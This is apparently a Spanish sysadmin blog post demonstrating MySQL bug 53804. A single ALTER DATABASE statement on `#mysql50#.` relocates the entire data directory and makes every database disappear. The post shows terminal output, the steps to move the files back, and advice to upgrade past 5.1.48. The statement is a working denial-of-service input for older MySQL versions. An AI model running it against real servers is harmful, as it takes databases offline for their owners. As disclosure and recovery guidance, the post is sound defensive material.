Denegación de servicio en MySQL
Mediante un ALTER DATABASE es posible mover todos los datos del datadir a un nuevo punto, haciendo desaparecer todas las bases de datos.
Vamos a suponer las siguientes base de datos:
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cacti | | jordi | | mysql | | nagios | | nareto | | racks | | racktables | | systemadminWP | | wikidb | +--------------------+ 10 rows in set (0.00 sec)
A continuación ejecutamos el ALTER DATABASE descrito en el bug 53804:
mysql> alter database `#mysql50#.` upgrade data directory name; ERROR 7 (HY000): Error on rename of '././@002e' to './@002e/@002e' (Errcode: 22)
Veremos que desaparecen las bases de datos:
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | . | +--------------------+ 2 rows in set (0.00 sec)
Si nos vamos al datadir veremos que se nos han movido todos los datos a un directorio llamado @002e (equivalente al punto que hemos añadido después de #mysql50#):
# ls -la total 28 drwx------ 3 mysql mysql 16384 Jun 30 07:49 . drwxr-xr-x 35 jprats root 4096 May 28 15:45 .. drwx------ 11 mysql mysql 4096 Jun 30 07:49 @002e
Si accedemos a dicho directorio veremos que allí tenemos los datos:
# cd \@002e/ # ls -la total 29148 drwx------ 11 mysql mysql 4096 Jun 30 07:49 . drwx------ 3 mysql mysql 16384 Jun 30 07:49 .. drwx------ 2 mysql mysql 4096 Jan 22 2009 cacti -rw-rw---- 1 mysql mysql 65 Jun 30 07:49 db.opt -rw-rw---- 1 mysql mysql 18874368 Jun 30 07:43 ibdata1 -rw-rw---- 1 mysql mysql 5242880 Jun 30 07:46 ib_logfile0 -rw-rw---- 1 mysql mysql 5242880 Jun 30 07:46 ib_logfile1 drwx------ 2 mysql mysql 4096 May 18 11:21 jordi drwx------ 2 mysql mysql 4096 Jan 22 2009 mysql srwxrwxrwx 1 mysql mysql 0 Jun 30 07:46 mysql5051b.sock drwx------ 2 mysql mysql 12288 Mar 29 15:24 nagios drwx------ 2 mysql mysql 4096 Apr 19 08:00 nareto -rw-rw---- 1 mysql mysql 340251 Jun 30 07:46 demo.systemadmin.es.err -rw-rw---- 1 mysql mysql 1709 Jan 14 2009 demo.systemadmin.es.err-old -rw-rw---- 1 mysql mysql 5 Jun 30 07:46 demo.systemadmin.es.pid drwx------ 2 mysql mysql 4096 Apr 16 2009 racks drwx------ 2 mysql mysql 4096 Apr 16 2009 racktables drwx------ 2 mysql mysql 4096 Jun 22 15:04 systemadminWP drwx------ 2 mysql mysql 4096 Jan 22 2009 wikidb
El problema grave es que mueve todo lo que se encentra dentro del datadir, incluso los logs o el socket si se encuentra allí o incluso si hay cualquier otro fichero que no pertenezca directamente al MySQL.
Volviendo dejar todo a su sitio volveremos a tener el MySQL usable:
[jprats@quars @002e]# mv * .. [jprats@quars @002e]# cd .. [jprats@quars mysql]# rmdir \@002e/
Al conectar de nuevo veremos todas las bases de datos en su sitio:
[jprats@quars mysql]# mysql Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5 Server version: 5.1.30-debug Source distribution Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cacti | | jordi | | mysql | | nagios | | nareto | | racks | | racktables | | systemadminWP | | wikidb | +--------------------+ 10 rows in set (0.00 sec)
Las versiones afectadas son las anteriores a la 5.1.48, por lo que es conveniente actualizar a la última versión de MySQL para evitar este problema.
Relacionados
Imprimir
Deja un comentario: